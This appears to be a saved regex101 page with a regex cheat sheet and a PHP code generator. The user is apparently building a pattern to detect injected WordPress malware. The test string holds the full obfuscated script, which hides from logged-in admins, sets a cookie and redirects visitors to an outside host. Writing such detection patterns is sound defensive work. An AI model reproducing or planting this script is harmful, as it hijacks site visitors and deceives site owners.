Regular Expressions 101

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An explanation of your regex will be automatically generated as you type.
Detailed match information will be displayed here automatically.
  • All Tokens
  • Common Tokens
  • General Tokens
  • Anchors
  • Meta Sequences
  • Quantifiers
  • Group Constructs
  • Character Classes
  • Flags/Modifiers
  • Substitution
  • A single character of: a, b or c
    [abc]
  • A character except: a, b or c
    [^abc]
  • A character in the range: a-z
    [a-z]
  • A character not in the range: a-z
    [^a-z]
  • A character in the range: a-z or A-Z
    [a-zA-Z]
  • Any single character
    .
  • Alternate - match either a or b
    a|b
  • Any whitespace character
    \s
  • Any non-whitespace character
    \S
  • Any digit
    \d
  • Any non-digit
    \D
  • Any word character
    \w
  • Any non-word character
    \W
  • Non-capturing group
    (?:...)
  • Capturing group
    (...)
  • Zero or one of a
    a?
  • Zero or more of a
    a*
  • One or more of a
    a+
  • Exactly 3 of a
    a{3}
  • 3 or more of a
    a{3,}
  • Between 3 and 6 of a
    a{3,6}
  • Start of string
    ^
  • End of string
    $
  • A word boundary
    \b
  • Non-word boundary
    \B

Regular Expression
No Match

/
/
gm

Test String

Code Generator

Language

Generated Code

$re = '/<script>var._0x2cf4.*?<\/script>/m'; $str = '<script>var _0x2cf4=[\'MSIE;\',\'OPR\',\'Chromium\',\'Chrome\',\'ppkcookie\',\'location\',\'https://ischeck.xyz/?pma1\',\'onload\',\'getElementById\',\'undefined\',\'setTime\',\'getTime\',\'toUTCString\',\'cookie\',\';\\x20path=/\',\'split\',\'length\',\'charAt\',\'substring\',\'indexOf\',\'match\',\'userAgent\',\'Edge\'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df[\'push\'](_0x15c1df[\'shift\']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a(\'0x0\')]=function(){(function(){if(document[_0x287a(\'0x1\')](\'wpadminbar\')===null){if(typeof _0x335357===_0x287a(\'0x2\')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546=\'\';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a(\'0x3\')](_0x5b6c5c[_0x287a(\'0x4\')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=\';\\x20expires=\'+_0x5b6c5c[_0x287a(\'0x5\')]();}document[_0x287a(\'0x6\')]=_0xe0ae90+\'=\'+(_0x112012||\'\')+_0x21e546+_0x287a(\'0x7\');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+\'=\';var _0x36a90c=document[_0x287a(\'0x6\')][_0x287a(\'0x8\')](\';\');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a(\'0x9\')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a(\'0xa\')](0x0)==\'\\x20\')_0x37a41b=_0x37a41b[_0x287a(\'0xb\')](0x1,_0x37a41b[\'length\']);if(_0x37a41b[_0x287a(\'0xc\')](_0x1f399a)==0x0)return _0x37a41b[_0x287a(\'0xb\')](_0x1f399a[\'length\'],_0x37a41b[_0x287a(\'0x9\')]);}return null;}function _0x51ef8a(){return navigator[\'userAgent\'][_0x287a(\'0xd\')](/Android/i)||navigator[_0x287a(\'0xe\')][_0x287a(\'0xd\')](/BlackBerry/i)||navigator[\'userAgent\'][_0x287a(\'0xd\')](/iPhone|iPad|iPod/i)||navigator[_0x287a(\'0xe\')][\'match\'](/Opera Mini/i)||navigator[_0x287a(\'0xe\')][_0x287a(\'0xd\')](/IEMobile/i);}function _0x58dc3d(){return navigator[_0x287a(\'0xe\')][_0x287a(\'0xc\')](_0x287a(\'0xf\'))!==-0x1||navigator[_0x287a(\'0xe\')][_0x287a(\'0xc\')](_0x287a(\'0x10\'))!==-0x1||navigator[_0x287a(\'0xe\')][_0x287a(\'0xc\')](_0x287a(\'0x11\'))!==-0x1||navigator[_0x287a(\'0xe\')][_0x287a(\'0xc\')](_0x287a(\'0x12\'))!==-0x1||navigator[_0x287a(\'0xe\')][_0x287a(\'0xc\')](\'Firefox\')!==-0x1||navigator[_0x287a(\'0xe\')][_0x287a(\'0xc\')](_0x287a(\'0x13\'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a(\'0x14\'));if(_0x55db25!==\'un\'){if(_0x58dc3d()||_0x51ef8a()){_0x335357(\'ppkcookie\',\'un\',0x16d);window[_0x287a(\'0x15\')][\'replace\'](_0x287a(\'0x16\'));}}}}}(this));};</script> '; preg_match_all($re, $str, $matches, PREG_SET_ORDER, 0); // Print the entire match result var_dump($matches);

Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for PHP, please visit: http://php.net/manual/en/ref.pcre.php